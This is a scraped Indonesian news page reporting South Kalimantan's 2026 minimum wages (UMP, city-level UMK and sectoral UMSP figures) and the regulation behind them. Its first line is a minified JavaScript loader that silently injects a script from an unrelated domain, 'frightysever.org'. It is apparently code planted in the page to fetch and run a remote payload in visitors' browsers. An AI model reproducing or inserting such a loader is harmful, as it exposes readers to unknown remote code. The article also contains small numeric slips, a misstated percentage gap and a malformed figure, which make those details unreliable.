(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanal

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!


Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember 2025 lalu dengan kenaikan mencapai 6,54 persen. Kenaikan UMP ini lebih tinggi  0,4 persen dibandingkan UMP 2025 Kalimantan Selatan yang mengalami kenaikan 6,5 persen. 

Diketahui UMP 2026 memiliki perhitungan formula yang berbeda dari UMP 2025 sebelumnya. Bila pada tahun lalu besaran kenaikan upah minimum seragam 6,5 persen, UMP 2026 di setiap daerah mengalami kenaikan yang berbeda-beda. Sehingga, kenaikan UMP Kalsel dengan Provinsi Kalimantan lainnya dapat berbeda-beda. 

Berapa UMP 2026 Kalimantan Selatan?

Mengutip dari Media Center Kalimantan Selatan, Muhidin selaku Gubernur Kalimantan Selatan secara resmi telah mengumumkan kenaikan UMP 2026 Kalimantan Selatan sebesar Rp3.725.000. Sebelumnya pada tahun 2025 lalu, UMP Kalsel sebesar Rp3.496.195.

Penetapan besaran kenaikan tersebut disebutkan oleh Muhidin sebagai komitmen pemerintah daerah untuk meningkatkan kesejahteraan pekerja serta menjaga keseimbangan iklim usaha di Kalimantan Selatan.

Dasar Penetapan UMP 2026 Kalimantan Selatan

Muhidin menjelaskan kenaikan UMP Kalimantan Selatan merujuk PP Nomor 49 Tahun 2025 tentang Perubahan Kedua atas PP Nomor 36 Tahun 2021 mengenai Pengupahan. Setelah diresmikannya formula baru UMP 2026, seluruh Dewan Pengupahan masing-masing provinsi langsung merumuskannya. 

Melalui musyawarah dan mufakat yang disepakati bersama, gubernur resmi menetapkan UMP 2026 yang akan berlaku selama 1 tahun ke depan. 

UMK 2026 Kalimantan Selatan

Berdasarkan Surat Keputusan Gubernur Kalimantan Selatan Nomor: 100.3.3.1/01107/KUM/2025, UMK 2026 Kalimantan Selatan telah ditetapkan pada tanggal 24 Desember 2025 lalu. Terdapat 5 kabupaten/kota Kalimantan Selatan yang mengalami kenaikan UMK 2026. 

Kabupaten/Kota UMK 2026
Kota Banjarmasin Rp.3.855,894,00
Kota Banjarbaru Rp.3.843.037,66
Kabupaten Tanah Bumbu Rp.3.736.000,00
Kabupaten Kotabaru Rp.3.904.645,00
Kabupaten Tabalong Rp.3.827.935,00

UMK kabupaten/kota Kalimantan Selatan lainnya diketahui mengikuti besaran kenaikan UMP 2026 Kalimantan Selatan, yakni sebesar Rp3.725.000.

UMSP Kalimantan Selatan

UMSP atau Upah Minimum Sektoral Provinsi merupakan upah minimum terendah yang berlaku pada sektor-sektor tertentu pada tingkat provinsi. Besaran nilai USMP memang lebih tinggi dari UMP.

Begitu pula dengan UMSP Kalimantan Selatan yang ditetapkan cukup tinggi dari UMP.  Sektor-sektor tersebut meliputi pertambangan, perkebunan, industri, hingga pembangkit tenaga listrik. 

Mengutip dari KBR, besaran nilai UMSP dapat lebih tinggi dari UMP sebab meninjau dari karakteristik dan risiko kerja dalam sektor-sektor tersebut.

Penetapan kenaikan UMSP dilakukan oleh Dewan Pengupahan masing-masing daerah yang kemudian akan ditetapkan oleh Gubernur. Berapa besaran UMSP Kalimantan Selatan pada tahun 2026?

Mengutip dari Media Center Kalimantan Selatan, berikut adalah besaran UMSP 2026 Kalimantan Selatan. 

Kabupaten/Kota UMK 2026
Sektor pertambangan batu bara Rp3.770.000
Sektor perkebunan kelapa sawit Rp3.730.000
Sektor industri minyak kelapa sawit Rp3.730.000
Sektor perdagangan besar bahan bakar padat, cair, gas, dan EBDI Rp3.728.000
Sektor pembangkit, transmisi, dan penjualan tenaga listrik dalam satu kesatuan usaha Rp3.759.000
Sektor industri kayu lapis Rp3.728.000

Aturan Penetapan UMP 2026 untuk Perusahaan

Bagi seluruh perusahaan tidak diperkenankan untuk menurunkan gaji pekerja yang lebih tinggi dari UMP. Berdasarkan aturan dalam PP Nomor 51 Tahun 2023, UMP hanya diterapkan bagi para pekerja baru yang belum mencapai masa kerja 1 tahun. Sehingga, pemberlakuan UMP 2026 hanya untuk pekerja baru saja. (Kanalkalimantan.com/kk)


Alethea Sugiharto Wijaya

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

6 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

7 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

8 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

13 jam ago

This website uses cookies.